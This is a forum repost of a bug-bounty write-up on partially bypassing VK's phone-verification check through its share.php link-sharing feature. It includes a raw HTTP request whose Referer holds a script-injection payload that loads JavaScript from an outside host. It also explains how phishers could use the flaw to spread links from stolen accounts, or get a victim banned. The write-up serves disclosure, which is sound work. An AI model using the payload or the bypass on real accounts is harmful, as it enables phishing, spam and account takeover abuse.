[BugBounty] Частичный обход аутентификации vk.com

Тема в разделе "Уязвимости и взлом", создана пользователем Lobadzip, 28 авг 2017.

  1. Lobadzip

    Lobadzip

    Сообщения:
    197
    Баллы:
    16
    original
    Оригинал - https://habrahabr.ru/post/320408/

    Это всего лишь пища для размышлений.


    Поставил перед собой задачу — обойти аутентификацию Вконтакте. Когда ip адрес человека, который входит на аккаунт vk меняется, нужно ввести полный номер телефона. Если злоумышленник входил через телефон; пароль, то он сможет совершать действия на аккаунте. Но если он входил через email; пароль или через подмену cookies, то он не сможет совершать какие либо действия на аккаунте.

    Вся информация предоставлена исключительно в ознакомительных целях. Я не несу ответственности за любой возможный вред, причиненный материалами этой статьи.

    https://vk.com/login.php?act=security_check.

    https://habrastorage.org/getpro/habr/post_images/eca/422/54f/eca42254f75bd55211a528dae70d29fa.png

    Можно было бы выполнить post запрос из другого аккаунта, для этого нам нужен csrf token(hash), но я смог найти только токен для логаута https://login.vk.com/?act=logout&hash=dbefb8b0bba973b95e&reason=tn&_origin=https://vk.com.

    Нам предлагают изменить номер телефона на аккаунте https://vk.com/restore?act=change_phone, здесь можем видеть количество непрочитанных сообщений (не баг, а фича, но убрать это не мешало бы) и настройки пунктов меню.

    Чуть позже, случайно я наткнулся на функционал шаринга ссылки https://vk.com/share.php?url=https://ok.ru, на мое удивление, эта ссылка открылась:

    https://habrastorage.org/getpro/habr/post_images/2bf/088/b58/2bf088b58b9744b1aadfcd5c9ba95998.png

    Попытался запостить себе ссылку на стенку и получил сообщение.

    Поздравляем! Ссылка появится на Вашей странице.

    https://habrastorage.org/getpro/habr/post_images/756/b36/3c5/756b363c57f177b02a2d9d0ce8d6cf0c.png

    Сначала не поверил, подумал, что security_check заблокировал всё, но зашел на стенку и увидел, что ссылка успешно запостилась )



    На стену можно расшаривать не только ссылки, а и обычный пост, для этого нужно оставить параметр url пустым https://vk.com/share.php?url=.

    https://habrastorage.org/getpro/habr/post_images/c09/071/4e0/c090714e0b46c1e0786e069379d5c80c.png

    Также, если мы владелец или администратор сообщества, мы можем запостить на стену сообщества запись в обход ввода номера телефона.

    Друзьям мы не можем отправить сообщение, так как https://vk.com/login.php?act=security_check блокирует получение списка друзей. Запрос отправки url другу имеет вид.

    POST /al_mail.php HTTP/1.1
    Host: vk.com
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Content-Type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Referer: https://vk.com/share.php?url="><script src=https://securityz.net/t.js?320408></script></script>
    Content-Length: 139
    Cookie: remixlang=0
    Connection: close

    act=a_send&al=1&chas=89c444076031dff154&from=share&media=share%3A0_0&message=ww&share_desc=&share_title=&share_url=&title=&to_ids=204690***

    Где to_ids — иды друзей, chas — csrf токен, значит, мы не можем просто подставить ид друга, токен нам мешает. С запроса шаринга ссылки на стену токен мы взять не можем, так там совсем другая переменная — hash=bb6e1ce8db5f1419e3.

    Сразу после обнаружения уязвимости я написал репорт на https://hackerone.com/vkcom, мне сказали, что это дубликат, ранее уже присылали такой репорт.

    Чтобы узнать примерную дату, когда прислали репорт, я обращаюсь к https://hackerone.com/hacktivity?sort_type=popular&filter=type:all&page=3, смотрю репорт, ид которого наиболее близок к моему и смотрю дату — https://hackerone.com/reports/170894. Оказалось, репорт этот прислали 4 месяца назад.

    Очень печально, что vk за это время не смогли исправить уязвимость. Некоторые репорты висят годами, уверен, что много баг хантеров в bug bounty vk наткнулись на дубликаты, так как ни для кого не секрет, что у ВК много репортов и много работы, а безопасников очень мало.

    Пруф — уязвимость в видео файлах, которую прислал https://hackerone.com/pisarenko. Ожидает устранения уже 2 года!

    https://habrastorage.org/getpro/habr/post_images/c1e/b84/700/c1eb84700be00b13965af1d45173e88c.jpg

    Ещё один репорт, который висит уже 1 год:

    https://habrastorage.org/getpro/habr/post_images/6b9/a9b/a3f/6b9a9ba3f99d06da6fc74137fef0017e.jpg

    Эта статья создана только для того, чтобы привлечь внимание разработчиков Вконтакте, надеюсь, они исправят данную уязвимость, увеличат штат безопасников и начнут оперативно устранять уязвимости.

    Выводы: Цель фишеров — спамить, она остается выполнимой, аутентификацию можно забайпасить.

    P.S: В процессе обхода аутентификации обнаружил уязвимость, которая позволяет подписаться на любую групу vk, не зная номера телефона жертвы, и ещё одну, с помощью которой можно полностью обойти ввод номера, но пока об этом не написал репорт.

    https://habrastorage.org/getpro/habr/post_images/75f/0e2/f1c/75f0e2f1c5ff5e0067f4a9cdb6923bfc.jpg

    P.P.S: Об импакте уязвимости:

    1. Эта уязвимость может использоваться при массовых фишинговых атаках на пользователей (сейчас набирает популярность создание фейков ВК и распространение их через личные сообщения, а также соц инженерия, применимая на друзьях взломанных аккаунтов), часто фишеры при получении логов сталкиваются с проблемой входа в аккаунт и дальнейшего распространения url фишингового сайта (получают только email;password), с этой уязвимостью они могут получать намного больше логов за счет того, что делятся своей ссылкой на стене и в группе жертвы.

    2. Чтобы заблокировать или заморозить страницу пользователя — нужно поделится запрещенной ссылкой у себя на стене и аккаунт сразу заблокируют.
  2. Widness

    Widness

    Сообщения:
    93
    Баллы:
    6
    Ну, зачем безопасность, если ты можешь вставлять рекламу в аудио и продавать стикеры.
  3. Widness

    Widness

    Сообщения:
    93
    Баллы:
    6
    Через API можно многое сделать

Поделиться этой страницей

Top